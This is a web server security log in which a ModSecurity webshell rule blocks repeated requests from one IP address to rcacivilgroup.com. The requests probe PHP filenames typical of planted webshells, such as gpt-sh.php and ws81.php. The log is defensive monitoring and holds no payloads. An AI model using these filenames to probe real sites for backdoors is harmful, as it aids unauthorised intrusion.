[Tue May 19 12:16:25.904112 2026] [:error] [pid 38814:tid 38816] [client 20.226.17.188:39120] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "agvkGQvkKuBwP0epzWd2HAAAAMA"]
[Tue May 19 12:16:26.633732 2026] [:error] [pid 29823:tid 29854] [client 20.226.17.188:4849] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "agvkGmO09C0nAz8vRk4PlgAAAc8"]
[Tue May 19 12:16:27.277951 2026] [:error] [pid 41573:tid 41594] [client 20.226.17.188:1116] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "agvkGy1A2bd6JDSW9RZZIQAAARM"]
[Tue May 19 12:16:28.029870 2026] [:error] [pid 29823:tid 29839] [client 20.226.17.188:1124] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "agvkHGO09C0nAz8vRk4PmQAAAcQ"]
[Tue May 19 12:16:28.738720 2026] [:error] [pid 38814:tid 38831] [client 20.226.17.188:1136] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "agvkHAvkKuBwP0epzWd2JgAAAM8"]
[Tue May 19 12:16:29.397936 2026] [:error] [pid 29823:tid 29836] [client 20.226.17.188:14004] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "agvkHWO09C0nAz8vRk4PsQAAAcE"]
[Tue May 19 12:16:30.043822 2026] [:error] [pid 38699:tid 38756] [client 20.226.17.188:1251] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "agvkHr--Adsw_P-dthZuYwAAAE4"]
[Tue May 19 12:16:30.665915 2026] [:error] [pid 29823:tid 29835] [client 20.226.17.188:1111] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "agvkHmO09C0nAz8vRk4PvQAAAcA"]
[Tue May 19 12:16:31.437630 2026] [:error] [pid 46896:tid 46916] [client 20.226.17.188:34518] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfil.php"] [unique_id "agvkH6CHyzL3Ci9LGE0thwAAAZI"]
[Tue May 19 12:16:32.090452 2026] [:error] [pid 29823:tid 29852] [client 20.226.17.188:34084] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfil.php"] [unique_id "agvkIGO09C0nAz8vRk4PyAAAAc0"]
[Tue May 19 12:16:32.723878 2026] [:error] [pid 38699:tid 38752] [client 20.226.17.188:29333] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfil.php"] [unique_id "agvkIL--Adsw_P-dthZuZAAAAEo"]
[Tue May 19 12:16:33.360884 2026] [:error] [pid 46815:tid 46830] [client 20.226.17.188:13984] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfil.php"] [unique_id "agvkISPnRhJOmA06LgouFAAAAU0"]
[Tue May 19 12:16:34.115162 2026] [:error] [pid 46896:tid 46910] [client 20.226.17.188:29348] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww.php"] [unique_id "agvkIqCHyzL3Ci9LGE0tiAAAAYw"]
[Tue May 19 12:16:35.280337 2026] [:error] [pid 38697:tid 38720] [client 20.226.17.188:29368] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww.php"] [unique_id "agvkI6XP9pP6Kgt-msQNnQAAAAU"]
[Tue May 19 12:16:35.918968 2026] [:error] [pid 38699:tid 38765] [client 20.226.17.188:1265] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww.php"] [unique_id "agvkI7--Adsw_P-dthZuZgAAAFc"]
[Tue May 19 12:16:51.488105 2026] [:error] [pid 38699:tid 38756] [client 20.226.17.188:25728] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "agvkM7--Adsw_P-dthZudQAAAE4"]
[Tue May 19 12:16:52.131117 2026] [:error] [pid 46815:tid 46827] [client 20.226.17.188:6118] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "agvkNCPnRhJOmA06LgouKQAAAUo"]
[Tue May 19 12:16:52.759026 2026] [:error] [pid 46815:tid 46821] [client 20.226.17.188:21867] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "agvkNCPnRhJOmA06LgouKwAAAUQ"]
[Tue May 19 12:16:53.454191 2026] [:error] [pid 38697:tid 38718] [client 20.226.17.188:5195] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "agvkNaXP9pP6Kgt-msQNngAAAAM"]
[Tue May 19 12:16:54.095629 2026] [:error] [pid 46815:tid 46838] [client 20.226.17.188:6092] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agvkNiPnRhJOmA06LgouLgAAAVU"]
[Tue May 19 12:16:54.733871 2026] [:error] [pid 38705:tid 38778] [client 20.226.17.188:5099] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agvkNsg5dNOZ5umN9ltDzwAAAIk"]
[Tue May 19 12:16:55.383136 2026] [:error] [pid 46815:tid 46823] [client 20.226.17.188:5530] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agvkNyPnRhJOmA06LgouLwAAAUY"]
[Tue May 19 12:16:56.023918 2026] [:error] [pid 46815:tid 46837] [client 20.226.17.188:24550] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agvkOCPnRhJOmA06LgouMAAAAVQ"]
[Tue May 19 12:16:56.666615 2026] [:error] [pid 38697:tid 38737] [client 20.226.17.188:24557] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "agvkOKXP9pP6Kgt-msQNnwAAABY"]
[Tue May 19 12:16:57.328894 2026] [:error] [pid 46815:tid 46824] [client 20.226.17.188:34205] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "agvkOSPnRhJOmA06LgouMQAAAUc"]
[Tue May 19 12:16:57.993981 2026] [:error] [pid 38705:tid 38782] [client 20.226.17.188:22282] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "agvkOcg5dNOZ5umN9ltD0AAAAI0"]
[Tue May 19 12:16:58.626668 2026] [:error] [pid 41573:tid 41595] [client 20.226.17.188:14158] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "agvkOi1A2bd6JDSW9RZZVQAAARQ"]
[Tue May 19 12:16:59.278758 2026] [:error] [pid 38699:tid 38750] [client 20.226.17.188:14160] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amp.php"] [unique_id "agvkO7--Adsw_P-dthZudgAAAEg"]
[Tue May 19 12:16:59.930872 2026] [:error] [pid 38699:tid 38752] [client 20.226.17.188:34228] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amp.php"] [unique_id "agvkO7--Adsw_P-dthZudwAAAEo"]
[Tue May 19 12:17:00.612192 2026] [:error] [pid 38697:tid 38725] [client 20.226.17.188:28178] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amp.php"] [unique_id "agvkPKXP9pP6Kgt-msQNogAAAAo"]
[Tue May 19 12:17:01.236983 2026] [:error] [pid 38814:tid 38839] [client 20.226.17.188:28379] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amp.php"] [unique_id "agvkPQvkKuBwP0epzWd2RwAAANc"]
[Tue May 19 12:17:01.862737 2026] [:error] [pid 38697:tid 38723] [client 20.226.17.188:5494] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "agvkPaXP9pP6Kgt-msQNpAAAAAg"]
[Tue May 19 12:17:02.494877 2026] [:error] [pid 38814:tid 38825] [client 20.226.17.188:28652] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "agvkPgvkKuBwP0epzWd2SAAAAMk"]
[Tue May 19 12:17:03.222196 2026] [:error] [pid 29823:tid 29862] [client 20.226.17.188:5627] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "agvkP2O09C0nAz8vRk4P4gAAAdc"]
[Tue May 19 12:17:03.853616 2026] [:error] [pid 38814:tid 38830] [client 20.226.17.188:24516] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "agvkPwvkKuBwP0epzWd2SQAAAM4"]
[Tue May 19 12:17:04.481776 2026] [:error] [pid 38697:tid 38735] [client 20.226.17.188:22302] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-243.php"] [unique_id "agvkQKXP9pP6Kgt-msQNqAAAABQ"]
[Tue May 19 12:17:05.208091 2026] [:error] [pid 38697:tid 38722] [client 20.226.17.188:5589] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-243.php"] [unique_id "agvkQaXP9pP6Kgt-msQNqQAAAAc"]
[Tue May 19 12:17:05.876997 2026] [:error] [pid 41573:tid 41581] [client 20.226.17.188:34274] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-243.php"] [unique_id "agvkQS1A2bd6JDSW9RZZVgAAAQY"]
[Tue May 19 12:17:06.561864 2026] [:error] [pid 29823:tid 29858] [client 20.226.17.188:24549] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-243.php"] [unique_id "agvkQmO09C0nAz8vRk4P5QAAAdM"]
[Tue May 19 12:17:07.216677 2026] [:error] [pid 29823:tid 29855] [client 20.226.17.188:16964] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "agvkQ2O09C0nAz8vRk4P5gAAAdA"]
[Tue May 19 12:17:07.854406 2026] [:error] [pid 38814:tid 38826] [client 20.226.17.188:28613] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "agvkQwvkKuBwP0epzWd2SgAAAMo"]
[Tue May 19 12:17:08.477553 2026] [:error] [pid 38814:tid 38835] [client 20.226.17.188:20382] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "agvkRAvkKuBwP0epzWd2TAAAANM"]
[Tue May 19 12:17:09.186611 2026] [:error] [pid 41573:tid 41576] [client 20.226.17.188:28636] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "agvkRS1A2bd6JDSW9RZZVwAAAQE"]
[Tue May 19 12:17:09.865673 2026] [:error] [pid 41573:tid 41596] [client 20.226.17.188:28353] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/callback.php"] [unique_id "agvkRS1A2bd6JDSW9RZZWAAAARU"]
[Tue May 19 12:17:10.570450 2026] [:error] [pid 38814:tid 38832] [client 20.226.17.188:20369] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/callback.php"] [unique_id "agvkRgvkKuBwP0epzWd2UAAAANA"]
[Tue May 19 12:17:11.234921 2026] [:error] [pid 38697:tid 38737] [client 20.226.17.188:34262] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/callback.php"] [unique_id "agvkR6XP9pP6Kgt-msQNrAAAABY"]
[Tue May 19 12:17:11.885553 2026] [:error] [pid 46815:tid 46839] [client 20.226.17.188:16965] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/callback.php"] [unique_id "agvkRyPnRhJOmA06LgouPgAAAVY"]
[Tue May 19 12:17:12.524492 2026] [:error] [pid 41573:tid 41593] [client 20.226.17.188:4787] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sd.php"] [unique_id "agvkSC1A2bd6JDSW9RZZZgAAARI"]
[Tue May 19 12:17:13.352726 2026] [:error] [pid 29823:tid 29847] [client 20.226.17.188:16998] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sd.php"] [unique_id "agvkSWO09C0nAz8vRk4P8gAAAcg"]
[Tue May 19 12:17:14.059109 2026] [:error] [pid 38697:tid 38719] [client 20.226.17.188:28210] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sd.php"] [unique_id "agvkSqXP9pP6Kgt-msQNrQAAAAQ"]
[Tue May 19 12:17:14.755655 2026] [:error] [pid 46815:tid 46833] [client 20.226.17.188:29613] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sd.php"] [unique_id "agvkSiPnRhJOmA06LgouRAAAAVA"]
[Tue May 19 12:17:15.440304 2026] [:error] [pid 29823:tid 29855] [client 20.226.17.188:5605] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "agvkS2O09C0nAz8vRk4P8wAAAdA"]
[Tue May 19 12:17:16.201472 2026] [:error] [pid 38699:tid 38745] [client 20.226.17.188:22317] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "agvkTL--Adsw_P-dthZueQAAAEM"]
[Tue May 19 12:17:16.897300 2026] [:error] [pid 38699:tid 38751] [client 20.226.17.188:29586] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "agvkTL--Adsw_P-dthZuegAAAEk"]
[Tue May 19 12:17:17.571054 2026] [:error] [pid 46896:tid 46921] [client 20.226.17.188:5607] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "agvkTaCHyzL3Ci9LGE0tuwAAAZc"]
[Tue May 19 12:17:18.240780 2026] [:error] [pid 46815:tid 46829] [client 20.226.17.188:34264] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "agvkTiPnRhJOmA06LgouTAAAAUw"]
[Tue May 19 12:17:18.896607 2026] [:error] [pid 41573:tid 41588] [client 20.226.17.188:20388] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "agvkTi1A2bd6JDSW9RZZaQAAAQ0"]
